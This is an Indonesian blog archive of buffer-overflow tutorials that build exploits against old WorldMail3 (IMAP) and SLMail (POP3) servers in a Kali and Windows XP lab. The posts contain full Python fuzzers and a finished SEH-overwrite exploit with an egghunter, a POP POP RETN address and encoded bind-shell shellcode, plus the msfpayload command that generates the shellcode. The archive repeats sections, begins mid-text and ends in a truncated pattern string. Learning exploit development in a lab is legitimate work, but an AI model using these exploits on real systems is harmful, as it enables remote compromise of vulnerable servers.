print '%d' %ins.power()
:wq
Hasil skrinsut nya dari coding di atas sebagai berikut:
Ok cukup sampe disini dulu belajar nya ;)
Jumat, 11 April 2014
Experimen BoF Ke-8
Hari ini kita akan belajar untuk memahami cara kerja dari buffer
overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya
versi software tersebut sudah lama dan sudah terdapat public exploit
nya juga, di sini kita akan mencoba membuat exploit versi sendiri,
semoga bisa di ikuti
ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker) dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi WorldMail3.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software WorldMail3.exe
- sedikit pemahaman tentang python di perlukan :D
- software WorldMail3 di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows
Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "}" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 1500.
Script yang di gunakan seperti berikut:
Langkah kedua:
Setelah aplikasi mengalami crash di string "}" sebanyak 1500, sekarang kita akan membuat pattern string sebanyak 1500 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)
Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
Jadi untuk melihat hasil crash nya, ada perlakuan khusus untuk kasus ini. Dari Immunity Debugger pilih menu View > SEH chain, seperti pada gambar di bawah ini
Kemudian klik kanan di value "41387A41", pilih Follow address in stack, maka baru bisa terlihat crash nya, seperti pada gambar di bawah ini. Di sini kita fokus di bagian "Pointer to next SEH record " dan "SE handler", seperti pada gambar di bawah ini:
Langkah keempat:
Sekarang kita perlu mengetahui posisi "Pointer to next SEH record " dan "SE handler" berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:
Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini
Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
Sekarang kita coba hapus karakter "\x00", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:
Berikut nya kita mencari alamat memory yang berisi POP POP RETN di file dll ini yang sifat nya tidak safe. Kita menggunakan script pvefindaddr.py, cara menjalankan nya di Immunity, pilih View > Log, ketik !pvefindaddr nosafeseh, tunggu sampai proses selesai. Dari sini kita akan mendapatkan info SEH yang tidak safe, termasuk target kita, seperti gambar di bawah ini:
Berikut nya kita pilih View > Executables modules, klik file dll yang tidak safe tersebut (MFldrMgr.dll). Kemudian klik kanan di area kolom pojok kiri atas, pilih Search for > Sequence of commands, kemudian input seperti ini:
Tekan Ctrl+L untuk mencari alamat POP POP RETN yang lain dan memang ternyata ada banyak. Ambil salah satu nya saja tapi yang tidak mengandung karakter yang di larang, kita ambil contoh seperti gambar berikut:
Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.
Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:
Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker) dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi WorldMail3.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software WorldMail3.exe
- sedikit pemahaman tentang python di perlukan :D
- software WorldMail3 di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows
Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "}" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 1500.
Script yang di gunakan seperti berikut:
#!/usr/bin/pythonDan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.
import socket
host = "10.7.9.246"
port = 143
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('a001 LIST ' + payload + '\r\n')
print s.recv(1024)
s.shutdown
s.close
command = "}" * 1500
fuzz(command)
Langkah kedua:
Setelah aplikasi mengalami crash di string "}" sebanyak 1500, sekarang kita akan membuat pattern string sebanyak 1500 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)
Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/pythonDan ternyata aplikasi mengalami crash, tapi tidak seperti eksperimen kita sebelum nya :(
import socket
host = '10.7.9.246'
port = 143
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('a001 LIST ' + payload + '\r\n')
print s.recv(1024)
s.shutdown
s.close
command = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
command += "}"
fuzz(command)
Jadi untuk melihat hasil crash nya, ada perlakuan khusus untuk kasus ini. Dari Immunity Debugger pilih menu View > SEH chain, seperti pada gambar di bawah ini
Kemudian klik kanan di value "41387A41", pilih Follow address in stack, maka baru bisa terlihat crash nya, seperti pada gambar di bawah ini. Di sini kita fokus di bagian "Pointer to next SEH record " dan "SE handler", seperti pada gambar di bawah ini:
Langkah keempat:
Sekarang kita perlu mengetahui posisi "Pointer to next SEH record " dan "SE handler" berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:
Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini
Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/pythonDan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.
import socket
host = '10.7.9.246'
port = 143
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('a001 LIST ' + payload + '\r\n')
print s.recv(1024)
s.shutdown
s.close
offsets = {
'NXT': 770,
'SEH':774
}
command = "A" * 292
command += "B" * 4 # selanjutnya di isi jmp short 6 bytes
command += "C" * 4 # selanjutnya di isi alamat memory POP POP RETN
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"command += "}"
fuzz(command)
Sekarang kita coba hapus karakter "\x00", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:
Berikut nya kita mencari alamat memory yang berisi POP POP RETN di file dll ini yang sifat nya tidak safe. Kita menggunakan script pvefindaddr.py, cara menjalankan nya di Immunity, pilih View > Log, ketik !pvefindaddr nosafeseh, tunggu sampai proses selesai. Dari sini kita akan mendapatkan info SEH yang tidak safe, termasuk target kita, seperti gambar di bawah ini:
Berikut nya kita pilih View > Executables modules, klik file dll yang tidak safe tersebut (MFldrMgr.dll). Kemudian klik kanan di area kolom pojok kiri atas, pilih Search for > Sequence of commands, kemudian input seperti ini:
Tekan Ctrl+L untuk mencari alamat POP POP RETN yang lain dan memang ternyata ada banyak. Ambil salah satu nya saja tapi yang tidak mengandung karakter yang di larang, kita ambil contoh seperti gambar berikut:
Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.
Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00" -t cKemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/pythonSelanjutnya kita perhatikan apakah script kita sudah berhasil masuk di memory, dengan menggunakan immunity, ternyata lengkap sudah script nya masuk ke memory, tinggal uji coba mendapatkan shell nya
import socket
host = '10.7.9.246'
port = 143
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('a001 LIST ' + payload + '\r\n')
print s.recv(1024)
s.shutdown
s.close
offsets = {
'NXT': 770,
'SEH':774
}
# utk penanda mencari suatu string yg kita cari
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
stringnya = "w00tw00t"
# 368 bytes
shellcode = stringnya + ("\xda\xc0\xb8\xce\x1e\xeb\x77\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x56\x83\xc2\x04\x31\x42\x14\x03\x42\xda\xfc\x1e\x8b\x0a\x89"
"\xe1\x74\xca\xea\x68\x91\xfb\x38\x0e\xd1\xa9\x8c\x44\xb7\x41"
"\x66\x08\x2c\xd2\x0a\x85\x43\x53\xa0\xf3\x6a\x64\x04\x3c\x20"
"\xa6\x06\xc0\x3b\xfa\xe8\xf9\xf3\x0f\xe8\x3e\xe9\xff\xb8\x97"
"\x65\xad\x2c\x93\x38\x6d\x4c\x73\x37\xcd\x36\xf6\x88\xb9\x8c"
"\xf9\xd8\x11\x9a\xb2\xc0\x1a\xc4\x62\xf0\xcf\x16\x5e\xbb\x64"
"\xec\x14\x3a\xac\x3c\xd4\x0c\x90\x93\xeb\xa0\x1d\xed\x2c\x06"
"\xfd\x98\x46\x74\x80\x9a\x9c\x06\x5e\x2e\x01\xa0\x15\x88\xe1"
"\x50\xfa\x4f\x61\x5e\xb7\x04\x2d\x43\x46\xc8\x45\x7f\xc3\xef"
"\x89\x09\x97\xcb\x0d\x51\x4c\x75\x17\x3f\x23\x8a\x47\xe7\x9c"
"\x2e\x03\x0a\xc9\x49\x4e\x43\x3e\x64\x71\x93\x28\xff\x02\xa1"
"\xf7\xab\x8c\x89\x70\x72\x4a\xed\xab\xc2\xc4\x10\x53\x33\xcc"
"\xd6\x07\x63\x66\xfe\x27\xe8\x76\xff\xf2\xbf\x26\xaf\xac\x7f"
"\x97\x0f\x1c\xe8\xfd\x9f\x43\x08\xfe\x75\xf2\x0e\x30\xad\x57"
"\xf9\x31\x51\x46\xa5\xbc\xb7\x02\x45\xe9\x60\xba\xa7\xce\xb8"
"\x5d\xd7\x24\x95\xf6\x4f\x70\xf3\xc0\x70\x81\xd1\x63\xdc\x29"
"\xb2\xf7\x0e\xee\xa3\x08\x1b\x46\xad\x31\xcc\x1c\xc3\xf0\x6c"
"\x20\xce\x62\x0c\xb3\x95\x72\x5b\xa8\x01\x25\x0c\x1e\x58\xa3"
"\xa0\x39\xf2\xd1\x38\xdf\x3d\x51\xe7\x1c\xc3\x58\x6a\x18\xe7"
"\x4a\xb2\xa1\xa3\x3e\x6a\xf4\x7d\xe8\xcc\xae\xcf\x42\x87\x1d"
"\x86\x02\x5e\x6e\x19\x54\x5f\xbb\xef\xb8\xee\x12\xb6\xc7\xdf"
"\xf2\x3e\xb0\x3d\x63\xc0\x6b\x86\x9d\x30\xa1\x13\x09\xeb\x50"
"\x5e\x57\x0c\x8f\x9d\x6e\x8f\x25\x5e\x95\x8f\x4c\x5b\xd1\x17"
"\xbd\x11\x4a\xf2\xc1\x86\x6b\xd7")
command = shellcode
command += "\x90" * (offsets['NXT'] - len(shellcode)) # nop sleed
command += "\xeb\x06\x90\x90" # jmp short 6 bytes
command += "\xde\x56\x04\x60" # salah satu alamat memory POP POP RETN
command += "\x90" * 8 # nop sleed
command += egghunter
command += "\x90" * (80-len(egghunter))
command += "}"
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:
Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)
Selasa, 08 April 2014
Experimen BoF Ke-7
Hari ini kita akan belajar untuk memahami cara kerja dari buffer
overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya
versi software tersebut sudah lama dan sudah terdapat public exploit
nya juga, di sini kita akan mencoba membuat exploit versi sendiri,
semoga bisa di ikuti
ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker) dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi SLMail55_4433.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software SLMail55_4433.exe
- sedikit pemahaman tentang python di perlukan :D
- software SLMail di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows
Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 3000.
Script yang di gunakan seperti berikut:
Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 3000, sekarang kita akan membuat pattern string sebanyak 3000 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)
Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:
Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini
Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
Sekarang kita coba hapus karakter "\x00 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:
Dan ternyata EIP berhasil kita ubah value nya.
Kemudian kita cari alamat memory yang berisi "jmp esp" di file shell32.dll, seperti pada gambar berikut:
Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.
Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker) dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi SLMail55_4433.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software SLMail55_4433.exe
- sedikit pemahaman tentang python di perlukan :D
- software SLMail di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows
Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 3000.
Script yang di gunakan seperti berikut:
#!/usr/bin/pythonDan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.
import socket
host = "10.7.9.246"
port = 110
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('USER cool\r\n')
print s.recv(1024)
s.send('PASS ' + payload + '\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
print s.recv(1024)
s.shutdown
s.close
command = "A" * 3000
fuzz(command)
Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 3000, sekarang kita akan membuat pattern string sebanyak 3000 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)
Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/pythonPerhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:
import socket
host = '10.7.9.246'
port = 110
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('USER cool\r\n')
print s.recv(1024)
s.send('PASS ' + payload + '\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
print s.recv(1024)
s.shutdown
s.close
command = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6C